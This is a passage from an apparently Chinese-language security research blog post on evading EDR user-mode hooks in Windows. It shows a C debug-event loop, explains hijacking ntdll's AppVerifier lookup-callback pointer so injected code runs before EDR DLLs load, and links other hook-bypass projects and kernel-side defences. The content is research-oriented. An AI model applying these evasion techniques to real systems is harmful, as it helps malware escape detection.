switch (DbgEvent->dwDebugEventCode)
{
case CREATE_PROCESS_DEBUG_EVENT:
printf("[+] New Process Created - PID: %d\n", DbgEvent->dwProcessId);
printf("[+] New Thread Created - TID: %d\n", DbgEvent->dwThreadId);
break;
case LOAD_DLL_DEBUG_EVENT:
wchar_t imageName[MAX_PATH];
PVOID remoteAddr;
size_t dwRead;
printf("[+] DLL Base Address: 0x%08p\n", DbgEvent->u.LoadDll.lpBaseOfDll);
system("pause");
break;
case CREATE_THREAD_DEBUG_EVENT:
printf("[+] New Thread Created: 0x%08p\n", DbgEvent->u.CreateThread.lpStartAddress);
break;
case EXCEPTION_DEBUG_EVENT:
if (DbgEvent->u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_BREAKPOINT) {
printf("[+] Breakpoint was successfully triggered.\n");
printf("[+] Exception Address [RIP]: 0x%08p\n", DbgEvent->u.Exception.ExceptionRecord.ExceptionAddress);
break;
}
}
ContinueDebugEvent(pi->dwProcessId, pi->dwThreadId, DBG_CONTINUE);
}

可以看到在进程创建时只加载了一个ntdll

image-20260213192436872

Avrf回调

Marcus Hutchins发现了一种新的方法可以在进程初始化过程中提前加载代码,这会早于EDR将DLL注入进程之前,利用了AppVerifier中的AvrfpAPILookupCallbackRoutine回调指针,在创建挂起进程后,劫持该指针地址为恶意代码的起始地址,随后恢复进程,在加载后续dll时会触发以下流程

LdrpInitializeProcess -> ... -> LdrGetProcedureAddress -> LdrGetProcedureAddressForCaller -> AVrfCallAPILookupCallback -> AvrfpAPILookupCallbackRoutine

LdrGetProcedureAddress

image-20260214012713139

LdrGetProcedureAddressForCaller会调用AVrfCallAPILookupCallback

image-20260214012806486

不过需要解密地址才能执行

image-20260214013051640

在初始化过程中加载kernel32,kernelbase,谁会先触发LdrGetProcedureAddress呢?以及整个初始化的调用栈是什么,还需要自己调试一下才能明白了

看一下项目代码,首先要找到 AppVerifier 回调指针,位于 .mrdata 附近,且结构如下

offset+0x00 - ntdll!LdrpMrdataBase(设置为 .mrdata 段的基地址)
offset+0x08 - ntdll!LdrpKnownDllDirectoryHandle(设置为非零值)
offset+0x10 - ntdll!AvrfpAPILookupCallbacksEnabled(设置为零)
offset+0x18 - ntdll!AvrfpAPILookupCallbackRoutine(设置为零)

找到LdrpMrdataBase,往后遍历,不为NULL的是 AvrfpAPILookupCallbacksEnabled

image-20260214015703772

加密自定义的恶意函数 LdrGetProcedureAddressCallback 地址,写入AvrfpAPILookupCallbackRoutine,开启AvrfpAPILookupCallbacksEnabled

image-20260214015810381

其他绕过

firewalker:向量化异常处理程序找系统调用存根

https://www.mdsec.co.uk/2020/08/firewalker-a-new-approach-to-generically-bypass-user-space-edr-hooking/

hookchain: IAT,看PPT就行了没什么新手段,都是组合了一下

DEF CON 32 - Helvio Carvalho Junior - HookChain A new perspective for Bypassing EDR Solutions.pdf

https://github.com/helviojunior/hookchain

Whisper2Shout:

https://www.secforce.com/blog/whisper2shout-unhooking-technique/

TOCTOU 攻击:没找到详细文章

现代AV/EDR使用hook的防御手段

除了上面在用户态进行hook,还有以下检测

SSDT hook

32位可以直接进行SSDT hook,监测内核函数的调用。64位尝试利用漏洞等 Bypass PathGuard 后进行SSDT hook,但是肯定会引起系统的不稳定

硬件虚拟化技术(Intel VT /AMD SVM)检测

利用VT 技术可以通过MSR Hook/EPT Hook 实现 64位的无痕SSDT Hook(绕过PathGuard)、内核提权检测

内核回调

https://drunkmars.top/2022/04/29/%E8%BF%9B%E7%A8%8B%E7%9B%91%E6%8E%A7/

https://myzxcg.com/2023/10/AV/EDR-%E5%AE%8C%E5%85%A8%E8%87%B4%E7%9B%B2-%E6%B8%85%E9%99%A46%E5%A4%A7%E5%86%85%E6%A0%B8%E5%9B%9E%E8%B0%83%E5%AE%9E%E7%8E%B0/

参考

hook杂谈:

unhook:

断点:

Avrf回调:

tools: